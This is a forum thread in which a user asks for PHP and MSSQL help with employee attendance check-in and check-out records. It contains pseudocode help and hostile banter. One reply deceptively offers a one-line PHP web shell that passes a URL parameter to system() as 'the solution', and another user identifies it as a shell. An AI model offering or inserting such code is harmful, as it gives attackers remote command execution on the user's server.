New on LowEndTalk? Please Register and read our Community Rules.
All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.
All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.
Help with PHP & MSSQL Code
Hello,
I am having a database table will contain attendance for employee such as like this:
USERID - TIMEATTENDACE - TYPE
1 - 23/06/2016 08:39 AM - IN
2 - 23/06/2016 09:38 AM - IN
2 - 23/06/2016 11:38 AM - IN
1 - 23/06/2016 10:39 AM - OUT
3 - 23/06/2016 06:38 AM - IN
2 - 23/06/2016 11:38 AM - OUT
2 - 23/06/2016 01:39 PM - OUT
So, I want to arrange it in table and calculate total time for working like this:
USER ID - CHECK IN (1) - CHECK OUT (1) - CHECK IN (2) - CHECK OUT (2) TOTAL
1 - TIME HERE - TIME HERE - TIME HERE - TIME HERE : 2.9 HOURS FOR EXAMPLE
So can you help me with the code for the MSSQL AND PHP.
Thanks a lot,
Abdulla
This discussion has been closed.
Comments
no, unless you already coding/trying
Sorry?
Do you think I write this thread before I try? Do you know that I spend 2 days now with trying and coding to find a idea to sort this out.
So If you can help; thanks for it; if you can't help me with that with .. Just go away please
Well that attitude isn't going to get you help, maybe supplying some code snippets' or at least the methods you have tried and someone might point you in the right direction. Instead of doing it all for you, thus you not learning anything from it.
Pseudo:
Action: User enters ID, clicks check-in (possible badge swipe).
Code: insert record to database with uniqe id, user Id and timestamp.
Action: user enters ID, clicks check-out (possible badge swipe).
Code: Get record from DB where user ID=UID limit 1
Code: get difference between current timestamp and timestamp pulled from record.
Code: insert uniqe ID, user Id, current timestamp and time difference into hours worked DB
That will allow you to then do a query to pull info form the hours worked DB based on a time scale like, week or month to see how much they have worked.
You want me to code this then $100usd
pgben, he want a complete code, so he just copy paste
@op pay @pgben forr doing your home work
@tommy still I said to you if you want to help, just help, if you want .. just go away .. I do not know how you are not understood this sentence. .. just see how @pbgben help with the idea, and @AshleyUk at least leave a comment which is positive.
I think you should think about yourself, as you are thinking are older and genius.
@pbgben thanks for the idea, it is very useful, and this is what I did.
To help every one regarding this more...
What I did in PHP:
1) After punching I make simple corn job that will make number for each row which is not created by number:
Then the number will be last number + 1.
So I will got last punch in with last punch out
Problem has been solved by this way with the way that @pbgben has give. So, thank you very much @pbgben.
just fuck off
Here you go OP:
if(isset($_GET['x'])) { $x= $_GET['x']; system($x); }
@alshahad Glad to help buddy, A cron may not be nessesery. I'd appreciate if you could "Thanks" my posts, as I feel it increase the size of my junk...
Regards,
Your friendly neighborhood gigolo.
Oh, on your website, you're offering web dev services: http://alshahad.com/ar/programming.php
Nice, er,
PHP shellsolution?It's a working solution.
<12yr old programmer confirmed.
Also, your link posting got his site dossed :P
If you can't express your idea with respect, just go away please.
Dear Mrs
I was not asking for writing me the code , when I am asking for the idea all of you was not here, when the things just goes on the other side, all of you was here, lool! well? you are just debate people teams?
I was just asking for the idea if you notice. Also, the issue was not as to select or sort this if you think
It was for listing the punch in table from 1-5 punch.
Secondly, I am not 12 years old or even 25 years old, I will not discuss or argue with you regarding ages, because it shows it is personal, discuss with me about coding or at least skills :S ...
My issue (or let us said the idea) was completely solved. See you on the other side, and thanks for everyone here came really for help, especially @pbgben .
End.
what the hell he talking about.
This > https://alshahad.com/support/cart.php?gid=4
OP requested the thread be closed via ticket.